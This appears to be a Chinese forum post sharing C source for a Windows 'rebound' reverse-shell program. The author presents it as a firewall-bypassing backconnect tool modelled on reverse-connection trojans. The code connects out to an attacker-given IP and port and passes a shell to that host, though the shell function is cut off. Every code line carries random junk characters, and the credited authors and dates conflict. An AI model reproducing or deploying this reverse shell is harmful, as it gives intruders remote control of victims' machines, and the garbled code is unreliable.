这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 B< |VeU
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/* ============================== ]~-*hOcQ4
Rebound port in Windows NT x\hWyY6J[
By wind,2006/7 mZ~ qG5@/F
===============================*/ }I]j&\
#include kE/`n],1U
#include 7J9l.cM3
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#pragma comment(lib,"wsock32.lib") .'|mY$U~]
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void OutputShell(); g(/{.%\k
SOCKET sClient; [X,A'Q
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; AR%hf
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void main(int argc,char **argv) CjZZm^O
{ ?Z q_9T7
WSADATA stWsaData; w*50ZS;N
int nRet; AL$W +')
SOCKADDR_IN stSaiClient,stSaiServer; bGv*-;*
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if(argc != 3) ZJ;LD*
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printf("Useage:\n\rRebound DestIP DestPort\n"); qmZ2d!)o
return; o+nG3kRD
} xXX/]x>
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WSAStartup(MAKEWORD(2,2),&stWsaData); kt^yj"C>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5m4DS:&
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stSaiClient.sin_family = AF_INET; b"``D ?
stSaiClient.sin_port = htons(0); KP3n^
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stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); WwuZ(>|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JqEW=5
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printf("Bind Socket Failed!\n"); -G9|n#zCU
return; ]q{
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stSaiServer.sin_family = AF_INET; #EbGL])F}
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); t<nFy
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); c-kA^z{f
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) wW:7y>z)
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printf("Connect Error!"); {`%hgR
return; 5IW8=$k~.)
} fXO_g
OutputShell(); 38~PWKt
} %}q.cV
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void OutputShell() >3 l=*|9
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